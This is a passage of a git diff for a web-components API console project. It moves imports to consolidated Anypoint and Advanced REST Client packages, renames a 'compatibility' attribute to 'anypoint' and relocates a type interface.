-  .method-label[data-method='delete'],
-  .method-label[data-method='DELETE'] {
-    ${labelDelete}
-  }
-
-  .method-label[data-method='patch'],
-  .method-label[data-method='PATCH'] {
-    ${labelPatch}
-  }
-
-  .method-label[data-method='options'],
-  .method-label[data-method='OPTIONS'] {
-    ${labelOptions}
-  }
-
-  .method-label[data-method='head'],
-  .method-label[data-method='HEAD'] {
-    ${labelHead}
-  }
-
-  .method-label[data-method='trace'],
-  .method-label[data-method='TRACE'] {
-    ${labelTrace}
-  }
-
-  .method-label[data-method='connect'],
-  .method-label[data-method='CONNECT'] {
-    ${labelConnect}
-  }
-
-  .method-label[data-method='publish'] {
-    ${labelPublish}
-  }
-
-  .method-label[data-method='subscribe'] {
-    ${labelSubscribe}
-  }
-`;
diff --git a/src/events/RequestEvents.d.ts b/src/events/RequestEvents.d.ts
index 7e48e81..b59c99f 100644
--- a/src/events/RequestEvents.d.ts
+++ b/src/events/RequestEvents.d.ts
@@ -1,15 +1,4 @@
-import { ApiConsoleRequest, ApiConsoleResponse } from '../types';
-
-export declare interface AbortRequestEventDetail {
-  /**
-   * The URL of the request
-   */
-  url: string,
-  /**
-   * The id of the request.
-   */
-  id: string;
-}
+import { ApiConsoleRequest, ApiConsoleResponse, AbortRequestEventDetail } from '../types';
 
 /**
  * The event dispatched to transport request from the api request editor.
diff --git a/src/lib/AmfInputParser.js b/src/lib/AmfInputParser.js
index 7b8179a..cf689ea 100644
--- a/src/lib/AmfInputParser.js
+++ b/src/lib/AmfInputParser.js
@@ -14,7 +14,7 @@ import { ns } from '../helpers/Namespace.js';
 /** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
 /** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
-/** @typedef {import('@anypoint-web-components/anypoint-input').SupportedInputTypes} SupportedInputTypes */
+/** @typedef {import('@anypoint-web-components/awc').SupportedInputTypes} SupportedInputTypes */
 
 
 /**  
diff --git a/src/lib/AmfParameterMixin.d.ts b/src/lib/AmfParameterMixin.d.ts
index 4cace9b..3644c47 100644
--- a/src/lib/AmfParameterMixin.d.ts
+++ b/src/lib/AmfParameterMixin.d.ts
@@ -1,4 +1,4 @@
-import { SupportedInputTypes } from '@anypoint-web-components/anypoint-input';
+import { SupportedInputTypes } from '@anypoint-web-components/awc';
 import { 
   ApiAnyShape, 
   ApiArrayShape, 
diff --git a/src/lib/AmfParameterMixin.js b/src/lib/AmfParameterMixin.js
index 8648c5b..f93fc77 100644
--- a/src/lib/AmfParameterMixin.js
+++ b/src/lib/AmfParameterMixin.js
@@ -4,18 +4,18 @@
 // eslint-disable-next-line no-unused-vars
 import { html } from 'lit-element';
 import { dedupeMixin } from '@open-wc/dedupe-mixin';
-import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
-import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@anypoint-web-components/anypoint-input/anypoint-input.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-button/anypoint-button.js';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import '@anypoint-web-components/anypoint-switch/anypoint-switch.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
+import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
+import '@anypoint-web-components/awc/anypoint-input.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-button.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@anypoint-web-components/awc/anypoint-switch.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import { ifDefined } from 'lit-html/directives/if-defined.js'
 import { classMap } from 'lit-html/directives/class-map.js';
+import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
 import { ns } from '../helpers/Namespace.js';
 import * as InputCache from './InputCache.js';
 import { readLabelValue } from './Utils.js';
@@ -29,10 +29,10 @@ import { readLabelValue } from './Utils.js';
 /** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
 /** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
 /** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
-/** @typedef {import('@anypoint-web-components/anypoint-input').SupportedInputTypes} SupportedInputTypes */
-/** @typedef {import('@anypoint-web-components/anypoint-checkbox').AnypointCheckbox} AnypointCheckbox */
-/** @typedef {import('@anypoint-web-components/anypoint-switch').AnypointSwitch} AnypointSwitch */
+/** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
+/** @typedef {import('@anypoint-web-components/awc').SupportedInputTypes} SupportedInputTypes */
+/** @typedef {import('@anypoint-web-components/awc').AnypointCheckboxElement} AnypointCheckbox */
+/** @typedef {import('@anypoint-web-components/awc').AnypointSwitchElement} AnypointSwitch */
 /** @typedef {import('../types').OperationParameter} OperationParameter */
 /** @typedef {import('../types').ShapeTemplateOptions} ShapeTemplateOptions */
 /** @typedef {import('../types').ParameterRenderOptions} ParameterRenderOptions */
@@ -399,7 +399,7 @@ const mxFunction = base => {
           title="${ifDefined(title)}"
           @change="${this.paramChangeHandler}"
           ?disabled="${nillDisabled}"
-          ?compatibility="${this.compatibility || this.anypoint}"
+          ?anypoint="${this.anypoint}"
           ?outlined="${this.outlined}"
         >
           <label slot="label">${label}</label>
@@ -416,11 +416,11 @@ const mxFunction = base => {
      * @returns {TemplateResult} The template for the param remove button. 
      */
     deleteParamTemplate(paramId, arrayIndex) {
-      const { compatibility, anypoint } = this;
+      const { anypoint } = this;
       const title = 'Removes this parameter.';
       return html`
       <anypoint-icon-button 
-        ?compatibility="${compatibility || anypoint}" 
+        ?anypoint="${anypoint}" 
         title="${title}" 
         data-domain-id="${paramId}"
         data-index="${ifDefined(arrayIndex)}"
@@ -439,7 +439,7 @@ const mxFunction = base => {
      * @returns {TemplateResult|string} The template for the enum input.
      */
     enumTemplate(parameter, schema, opts={}) {
-      const { compatibility, anypoint } = this;
+      const { anypoint } = this;
       let required;
       if (typeof opts.required === 'boolean') {
         required = opts.required;
@@ -466,7 +466,7 @@ const mxFunction = base => {
           name="${parameter.name || schema.name}"
           data-binding="${ifDefined(binding)}"
           ?outlined="${this.outlined}"
-          ?compatibility="${compatibility || anypoint}"
+          ?anypoint="${anypoint}"
           ?required="${required}"
           title="${ifDefined(title)}"
           fitPositionTarget
@@ -478,11 +478,11 @@ const mxFunction = base => {
           <label slot="label">${label}</label>
           <anypoint-listbox
             slot="dropdown-content"
-            ?compatibility="${compatibility || anypoint}"
+            ?anypoint="${anypoint}"
             .selected="${selected}"
             @selected="${this.enumSelectionHandler}"
           >
-            ${enumValues.map((value) => html`<anypoint-item ?compatibility="${compatibility || anypoint}" data-type="${value.dataType}" data-value="${value.value}">${value.value}</anypoint-item>`)}
+            ${enumValues.map((value) => html`<anypoint-item ?anypoint="${anypoint}" data-type="${value.dataType}" data-value="${value.value}">${value.value}</anypoint-item>`)}
           </anypoint-listbox>
         </anypoint-dropdown-menu>
         ${opts.nillable ? this.nillInputTemplate(parameter) : ''}
@@ -740,7 +740,7 @@ const mxFunction = base => {
           title="${nameTitle}"
           name="paramName"
           @change="${this[customParamChangeHandler]}"
-          ?compatibility="${this.compatibility || this.anypoint}"
+          ?anypoint="${this.anypoint}"
           ?outlined="${this.outlined}"
           noLabelFloat
         >
@@ -754,7 +754,7 @@ const mxFunction = base => {
           title="${valueTitle}"
           name="paramValue"
           @change="${this[customParamChangeHandler]}"
-          ?compatibility="${this.compatibility || this.anypoint}"
+          ?anypoint="${this.anypoint}"
           ?outlined="${this.outlined}"
           noLabelFloat
         >
diff --git a/src/lib/ApiAuthDataHelper.js b/src/lib/ApiAuthDataHelper.js
index a57c282..d008a4a 100644
--- a/src/lib/ApiAuthDataHelper.js
+++ b/src/lib/ApiAuthDataHelper.js
@@ -1,13 +1,13 @@
 /* eslint-disable no-unused-vars */
 /* eslint-disable no-param-reassign */
-import { UiDataHelper } from '@advanced-rest-client/authorization';
+import { UiDataHelper } from '@advanced-rest-client/app';
 import CustomAuth from './auth-ui/CustomAuth.js';
 import ApiKeyAuth from './auth-ui/ApiKeyAuth.js';
 import PassThroughAuth from './auth-ui/PassThroughAuth.js';
 import OAuth2Auth from './auth-ui/OAuth2Auth.js';
 import OAuth1Auth from './auth-ui/OAuth1Auth.js';
 
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
 /** @typedef {import('../elements/ApiAuthorizationMethodElement').default} ApiAuthorizationElement */
 
 export class ApiAuthDataHelper extends UiDataHelper {
@@ -21,7 +21,7 @@ export class ApiAuthDataHelper extends UiDataHelper {
     i.security = element.security;
     i.descriptionOpened = element.descriptionOpened;
     i.globalCache = element.globalCache;
-    i.compatibility = element.compatibility;
+    i.anypoint = element.anypoint;
     return i;
   }
 
@@ -63,7 +63,7 @@ export class ApiAuthDataHelper extends UiDataHelper {
     i.security = element.security;
     i.descriptionOpened = element.descriptionOpened;
     i.globalCache = element.globalCache;
-    i.compatibility = element.compatibility;
+    i.anypoint = element.anypoint;
     return i;
   }
 
diff --git a/src/lib/PayloadUtils.d.ts b/src/lib/PayloadUtils.d.ts
index 64e7084..adfe2f3 100644
--- a/src/lib/PayloadUtils.d.ts
+++ b/src/lib/PayloadUtils.d.ts
@@ -1,4 +1,4 @@
-import { ApiTypes } from '@advanced-rest-client/arc-types';
+import { ApiTypes } from '@advanced-rest-client/events';
 import { ApiPayload } from '../helpers/api';
 
 export interface PayloadInfo {
@@ -14,7 +14,7 @@ export function getPayloadValue(payload: ApiPayload): PayloadInfo;
  * @param value The value to cache.
  * @param model Optional model to set.
  */
-export function cachePayloadValue(id: string, value: string, model?: ApiTypes.ApiType): void;
+export function cachePayloadValue(id: string, value: string, model?: ApiTypes.ApiType[]): void;
 /**
  * @param id Payload id to read the value.
  */
diff --git a/src/lib/PayloadUtils.js b/src/lib/PayloadUtils.js
index 156ecdf..f0b1dd6 100644
--- a/src/lib/PayloadUtils.js
+++ b/src/lib/PayloadUtils.js
@@ -2,7 +2,7 @@ import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
 import { ApiMonacoSchemaGenerator } from '../schema/ApiMonacoSchemaGenerator.js';
 import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 
-/** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
+/** @typedef {import('@advanced-rest-client/events').ApiTypes.ApiType} ApiType */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
diff --git a/src/lib/SecurityProcessor.d.ts b/src/lib/SecurityProcessor.d.ts
index 2b1aae7..4219f96 100644
--- a/src/lib/SecurityProcessor.d.ts
+++ b/src/lib/SecurityProcessor.d.ts
@@ -1,15 +1,15 @@
-import { ArcRequest, Authorization } from '@advanced-rest-client/arc-types';
+import { ArcRequest, Authorization } from '@advanced-rest-client/events';
 import { ApiSecurityRequirement } from '../helpers/api';
 import { SecuritySelectorListItem, ApiConsoleRequest } from '../types';
 
 export class SecurityProcessor {
-  static readSecurityList(security: ApiSecurityRequirement): SecuritySelectorListItem[];
+  static readSecurityList(security: ApiSecurityRequirement[]): SecuritySelectorListItem[];
   static readSecurityListItem(item: ApiSecurityRequirement): SecuritySelectorListItem;
 
   /**
    * Applies authorization configuration to the API Console request object.
    */
-  static applyAuthorization(request: ApiConsoleRequest, authorization: ArcRequest.RequestAuthorization): void;
+  static applyAuthorization(request: ApiConsoleRequest, authorization: ArcRequest.RequestAuthorization[]): void;
 
   /**
    * Injects basic auth header into the request headers.
@@ -51,7 +51,7 @@ export class SecurityProcessor {
   I don't want to move it to a separate class and maintain to be
   able to apply here OAuth 1. So far we have no usage signs from anyone
   (and it's been years since this logic works here).
-  If there's a request from a customer, in the `@advanced-rest-client/authorization`
+  If there's a request from a customer, in the `@advanced-rest-client/app`
   module create a class that extracts the logic from the oauth 1 component 
   and sign the request.
   */
diff --git a/src/lib/SecurityProcessor.js b/src/lib/SecurityProcessor.js
index 8207bfa..3b73f65 100644
--- a/src/lib/SecurityProcessor.js
+++ b/src/lib/SecurityProcessor.js
@@ -1,6 +1,5 @@
 /* eslint-disable no-continue */
-import { ArcHeaders } from '@advanced-rest-client/arc-headers';
-import { UrlParser } from '@advanced-rest-client/arc-url';
+import { ArcHeaders, UrlParser } from '@advanced-rest-client/app';
 import { 
   normalizeType,
   METHOD_OAUTH2,
@@ -8,7 +7,7 @@ import {
   METHOD_BASIC,
   METHOD_BEARER,
   METHOD_OIDC,
-} from "@advanced-rest-client/authorization/src/Utils.js";
+} from "@advanced-rest-client/app/src/elements/authorization/Utils.js";
 import {
   METHOD_CUSTOM,
   METHOD_PASS_THROUGH,
@@ -16,15 +15,15 @@ import {
 } from '../elements/ApiAuthorizationMethodElement.js';
 
 /** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.RequestAuthorization} RequestAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth1Authorization} OAuth1Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OidcAuthorization} OidcAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.PassThroughAuthorization} PassThroughAuthorization */
+/** @typedef {import('@advanced-rest-client/events').ArcRequest.RequestAuthorization} RequestAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BasicAuthorization} BasicAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2Authorization} OAuth2Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth1Authorization} OAuth1Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BearerAuthorization} BearerAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OidcAuthorization} OidcAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.PassThroughAuthorization} PassThroughAuthorization */
 /** @typedef {import('../types').SecuritySelectorListItem} SecuritySelectorListItem */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 
@@ -286,7 +285,7 @@ export class SecurityProcessor {
   I don't want to move it to a separate class and maintain to be
   able to apply here OAuth 1. So far we have no usage signs from anyone
   (and it's been years since this logic works here).
-  If there's a request from a customer, in the `@advanced-rest-client/authorization`
+  If there's a request from a customer, in the `@advanced-rest-client/app`
   module create a class that extracts the logic from the oauth 1 component 
   and sign the request.
   */
diff --git a/src/lib/Utils.js b/src/lib/Utils.js
index 5c4c7a0..4c7ae56 100644
--- a/src/lib/Utils.js
+++ b/src/lib/Utils.js
@@ -1,4 +1,4 @@
-import { HeadersParser } from '@advanced-rest-client/arc-headers';
+import { HeadersParser } from '@advanced-rest-client/app';
 import sanitizer from 'dompurify';
 import { ns } from '../helpers/Namespace.js';
 
diff --git a/src/lib/auth-ui/ApiKeyAuth.js b/src/lib/auth-ui/ApiKeyAuth.js
index 9fa4640..4e8ac21 100644
--- a/src/lib/auth-ui/ApiKeyAuth.js
+++ b/src/lib/auth-ui/ApiKeyAuth.js
@@ -6,7 +6,7 @@ import * as InputCache from '../InputCache.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../../helpers/api').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
 export default class ApiKeyAuth extends ApiUiBase {
diff --git a/src/lib/auth-ui/ApiUiBase.js b/src/lib/auth-ui/ApiUiBase.js
index a430e84..abd731a 100644
--- a/src/lib/auth-ui/ApiUiBase.js
+++ b/src/lib/auth-ui/ApiUiBase.js
@@ -1,17 +1,17 @@
 /* eslint-disable no-unused-vars */
 /* eslint-disable class-methods-use-this */
-import AuthUiBase from "@advanced-rest-client/authorization/src/lib/ui/AuthUiBase.js";
-import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@anypoint-web-components/anypoint-input/anypoint-input.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-button/anypoint-button.js';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
+import AuthUiBase from "@advanced-rest-client/app/src/elements/authorization/ui/AuthUiBase.js";
+import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
+import '@anypoint-web-components/awc/anypoint-input.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-button.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import { AmfParameterMixin } from '../AmfParameterMixin.js';
 
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
 /** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 
diff --git a/src/lib/auth-ui/CustomAuth.js b/src/lib/auth-ui/CustomAuth.js
index 666f26a..21081cb 100644
--- a/src/lib/auth-ui/CustomAuth.js
+++ b/src/lib/auth-ui/CustomAuth.js
@@ -6,14 +6,14 @@ import ApiUiBase from './ApiUiBase.js';
 import * as InputCache from '../InputCache.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/events').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
 /** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../helpers/amf').ParametrizedSecurityScheme} ParametrizedSecurityScheme */
 /** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('../../helpers/api').ApiPropertyShape} ApiPropertyShape */
 /** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
 export default class CustomAuth extends ApiUiBase {
@@ -33,7 +33,7 @@ export default class CustomAuth extends ApiUiBase {
     /** @type {string} */
     this.schemeDescription = undefined;
     /** @type {boolean} */
-    this.compatibility = undefined;
+    this.anypoint = undefined;
     /** @type {boolean} */
     this.descriptionOpened = undefined;
   }
@@ -314,7 +314,7 @@ export default class CustomAuth extends ApiUiBase {
     const {
       schemeName,
       schemeDescription,
-      compatibility,
+      anypoint,
       descriptionOpened,
     } = this;
     if (!schemeName) {
@@ -327,7 +327,7 @@ export default class CustomAuth extends ApiUiBase {
         class="hint-icon"
         title="Toggle description"
         aria-label="Activate to toggle the description"
-        ?compatibility="${compatibility}"
+        ?anypoint="${anypoint}"
         @click="${this.toggleDescription}"
       >
         <arc-icon icon="help"></arc-icon>
diff --git a/src/lib/auth-ui/OAuth1Auth.js b/src/lib/auth-ui/OAuth1Auth.js
index f1f5b17..f1bc547 100644
--- a/src/lib/auth-ui/OAuth1Auth.js
+++ b/src/lib/auth-ui/OAuth1Auth.js
@@ -1,7 +1,7 @@
 /* eslint-disable no-param-reassign */
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
-import Oauth1, { defaultSignatureMethods } from '@advanced-rest-client/authorization/src/lib/ui/OAuth1.js';
+import Oauth1, { defaultSignatureMethods } from '@advanced-rest-client/app/src/elements/authorization/ui/OAuth1.js';
 import { ns } from '../../helpers/Namespace.js';
 
 const securityValue = Symbol("securityValue");
diff --git a/src/lib/auth-ui/OAuth2Auth.js b/src/lib/auth-ui/OAuth2Auth.js
index 35ae2cb..2d488a4 100644
--- a/src/lib/auth-ui/OAuth2Auth.js
+++ b/src/lib/auth-ui/OAuth2Auth.js
@@ -2,7 +2,7 @@
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-html';
-import Oauth2, { oauth2GrantTypes } from '@advanced-rest-client/authorization/src/lib/ui/OAuth2.js'
+import Oauth2, { oauth2GrantTypes } from '@advanced-rest-client/app/src/elements/authorization/ui/OAuth2.js'
 import { ns } from '../../helpers/Namespace.js';
 import * as InputCache from '../InputCache.js';
 import { AmfInputParser } from '../AmfInputParser.js';
@@ -14,7 +14,7 @@ const apiValue = Symbol("apiValue");
 const gtValue = Symbol("gtValue");
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
 /** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
@@ -28,10 +28,10 @@ const gtValue = Symbol("gtValue");
 /** @typedef {import('../../helpers/api').ApiScalarNode} ApiScalarNode */
 /** @typedef {import('../../helpers/api').ApiSecurityScope} ApiSecurityScope */
 /** @typedef {import('../../helpers/api').ApiDataNodeUnion} ApiDataNodeUnion */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2CustomParameter} OAuth2CustomParameter */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.Oauth2GrantType} Oauth2GrantType */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2DeliveryMethod} OAuth2DeliveryMethod */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2Authorization} OAuth2Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2CustomParameter} OAuth2CustomParameter */
+/** @typedef {import('@advanced-rest-client/events').Authorization.Oauth2GrantType} Oauth2GrantType */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2DeliveryMethod} OAuth2DeliveryMethod */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
 export default class OAuth2Auth extends AmfParameterMixin(Oauth2) {
diff --git a/src/lib/auth-ui/PassThroughAuth.js b/src/lib/auth-ui/PassThroughAuth.js
index 3401184..e724981 100644
--- a/src/lib/auth-ui/PassThroughAuth.js
+++ b/src/lib/auth-ui/PassThroughAuth.js
@@ -6,11 +6,11 @@ import ApiUiBase from './ApiUiBase.js';
 import * as InputCache from '../InputCache.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
 /** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.PassThroughAuthorization} PassThroughAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.PassThroughAuthorization} PassThroughAuthorization */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
 export default class PassThroughAuth extends ApiUiBase {
@@ -24,7 +24,7 @@ export default class PassThroughAuth extends ApiUiBase {
     /** @type {string} */
     this.schemeDescription = undefined;
     /** @type {boolean} */
-    this.compatibility = undefined;
+    this.anypoint = undefined;
     /** @type {boolean} */
     this.descriptionOpened = undefined;
 
@@ -265,7 +265,7 @@ export default class PassThroughAuth extends ApiUiBase {
     const {
       schemeName,
       schemeDescription,
-      compatibility,
+      anypoint,
       descriptionOpened,
     } = this;
     if (!schemeName) {
@@ -278,7 +278,7 @@ export default class PassThroughAuth extends ApiUiBase {
         class="hint-icon"
         title="Toggle description"
         aria-label="Activate to toggle the description"
-        ?compatibility="${compatibility}"
+        ?anypoint="${anypoint}"
         @click="${this.toggleDescription}"
       >
         <arc-icon icon="help"></arc-icon>
diff --git a/src/store/AmfGraphStore.js b/src/store/AmfGraphStore.js
index 100f207..9656937 100644
--- a/src/store/AmfGraphStore.js
+++ b/src/store/AmfGraphStore.js
@@ -1,4 +1,4 @@
-import { v4 } from '@advanced-rest-client/uuid-generator/main.js';
+import { v4 } from '@advanced-rest-client/uuid';
 import { AmfStore } from './AmfStore.js';
 
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.d.ts b/src/store/mixins/AmfStoreDomEventsMixin.d.ts
index 8a07178..663c7d2 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.d.ts
+++ b/src/store/mixins/AmfStoreDomEventsMixin.d.ts
@@ -1,4 +1,4 @@
-import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from  '@anypoint-web-components/awc';
 
 export declare const eventHandler: unique symbol;
 
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.js b/src/store/mixins/AmfStoreDomEventsMixin.js
index 0af1e8b..254c2d1 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.js
+++ b/src/store/mixins/AmfStoreDomEventsMixin.js
@@ -1,6 +1,6 @@
 /* eslint-disable class-methods-use-this */
 import { dedupeMixin } from '@open-wc/dedupe-mixin';
-import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from  '@anypoint-web-components/awc';
 import { EventTypes } from '../../events/EventTypes.js';
 
 
diff --git a/src/types.d.ts b/src/types.d.ts
index 574d096..ea1ee4b 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -1,4 +1,4 @@
-import { HTTPRequest, RequestAuthorization } from '@advanced-rest-client/arc-types/src/request/ArcRequest';
+import { HTTPRequest, RequestAuthorization } from '@advanced-rest-client/events/src/request/ArcRequest';
 import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint, ApiExample } from './helpers/api';
 import { default as XhrSimpleRequestTransportElement } from './elements/XhrSimpleRequestTransportElement';
 
@@ -41,6 +41,17 @@ export declare interface ApiConsoleHTTPResponse {
   headers?: string;
 }
 
+export declare interface AbortRequestEventDetail {
+  /**
+   * The URL of the request
+   */
+  url: string,
+  /**
+   * The id of the request.
+   */
+  id: string;
+}
+
 export declare interface XHRQueueItem {
   startTime: number;
   request: ApiConsoleRequest;
diff --git a/test/authorization/ApiAuthorizationEditorElement.oas.test.js b/test/authorization/ApiAuthorizationEditorElement.oas.test.js
index f389386..8912a4d 100644
--- a/test/authorization/ApiAuthorizationEditorElement.oas.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.oas.test.js
@@ -7,12 +7,12 @@ import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.j
 /** @typedef {import('../../index').ApiAuthorizationEditorElement} ApiAuthorizationEditorElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth1Authorization} OAuth1Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.DigestAuthorization} DigestAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BasicAuthorization} BasicAuthorization */
